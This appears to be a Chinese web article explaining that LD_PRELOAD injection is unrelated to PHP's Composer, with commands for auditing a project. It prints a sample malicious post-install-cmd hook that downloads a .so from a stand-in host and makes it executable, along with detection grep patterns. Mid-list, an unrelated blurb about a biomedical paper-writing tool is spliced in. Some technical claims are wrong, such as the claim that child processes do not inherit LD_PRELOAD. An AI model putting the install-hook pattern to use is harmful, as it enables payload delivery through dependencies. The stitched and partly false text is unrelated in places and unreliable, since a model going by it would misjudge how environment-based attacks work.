LD_PRELOAD 与 Composer 无关，它是 Linux 系统级动态链接机制，影响二进制程序；Composer 仅管理 PHP 用户态依赖，不涉及 dlopen 或 RTLD_PRELOAD。
LD_PRELOAD 和 Composer 本身没有直接关系——它属于 Linux 动态链接机制，不是 PHP 或 Composer 的功能组件。你在 Composer 项目里不会、也不该看到 LD_PRELOAD 被用于“库注入”，更不存在所谓“Composer 库中的 LD_PRELOAD 后门”。
这个提法混淆了两个完全不同的攻击面：
-
LD_PRELOAD是操作系统级环境变量，影响所有动态链接的二进制程序（如php、sshd、curl），在进程启动时强制加载指定的.so文件； - Composer 管理的是 PHP 的 用户态依赖包（
.php文件、autoload 规则、命令行脚本等），运行在 PHP 解释器内，不涉及dlopen()或RTLD_PRELOAD。
所以，如果你在排查 Composer 项目，却去检查 LD_PRELOAD，大概率是在错误的方向上浪费时间。
为什么有人会把 LD_PRELOAD 和 Composer 混在一起？
常见误解来源有三：
Discussion Composer
下载
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 看到恶意 Composer 包里包含
shell_exec("export LD_PRELOAD=...")这类代码 —— 但该语句在 PHP 中完全无效：子进程不会继承父进程的LD_PRELOAD，且 export 只作用于当前 shell 环境，PHP 的exec()启动的是干净子 shell - 误将“通过 Composer 安装了一个带
system()的后门包”等同于 “LD_PRELOAD注入”，其实前者是 PHP 层执行命令，后者是 C 层劫持函数调用 - 应急响应中发现服务器被
LD_PRELOAD注入，又恰好这台机器跑着 Composer 项目，于是错误归因
Composer 项目真正该防的“preload 类”风险
虽然不是 LD_PRELOAD，但有几类行为在语义和危害上与之接近，值得重点盯防：
-
composer.json中的scripts字段执行危险命令：比如"post-install-cmd": "curl -s http://mal.io/x.so -o /tmp/x.so && chmod +x /tmp/x.so"—— 这是为后续手动设置LD_PRELOAD铺路，但 Composer 自身不干这事 - 插件（Plugin）在
activate()里调用putenv("LD_PRELOAD=/tmp/...")—— 无效，但说明作者有 preload 意图；真正生效需配合外部进程（如用该 PHP 进程 fork 出sh再 exec 其他程序） - 恶意包提供
bin目录下的可执行文件（如vendor/acme/tool/bin/runner），该文件是编译好的 ELF，内部硬编码dlopen("/tmp/xxx.so", RTLD_LAZY)—— 这才是能落地的 preload 式劫持，但触发点不在 Composer，而在你手动运行那个二进制
如何快速排除 Composer 项目是否参与了 LD_PRELOAD 攻击链
只需三步，不依赖任何第三方工具：
- 检查所有
composer.json里的scripts（尤其是post-*和pre-*），grep 出现LD_PRELOAD、export.*SO、curl.*\.so、wget.*\.so的行：grep -nri "LD_PRELOAD\|\.so.*curl\|\.so.*wget" . --include="composer.json" - 检查
vendor/bin/下是否有非 PHP 的可执行文件：file vendor/bin/* 2>/dev/null | grep "ELF.*executable"；对每个 ELF 执行readelf -d ./vendor/bin/xxx | grep NEEDED，看是否硬依赖可疑.so - 确认当前 PHP 进程是否被外部 preload：运行
cat /proc/$(pgrep -f 'php.*composer')/environ 2>/dev/null | tr '\0' '\n' | grep LD_PRELOAD—— 如果输出非空，说明系统级已被污染，和 Composer 无关，要查 shell 配置或/etc/ld.so.preload
真正难检测的，从来不是 LD_PRELOAD 本身，而是它被谁设置、何时设置、由哪个进程加载、劫持了哪些函数。这些线索藏在 /proc/<em>/environ</em>、/proc//maps、PAM 配置、以及用户 shell 初始化文件里——不是 Composer 的管辖范围。
别让名字相似误导判断。一个叫 LD_PRELOAD，一个叫 composer install，它们连进程地址空间都不共享。
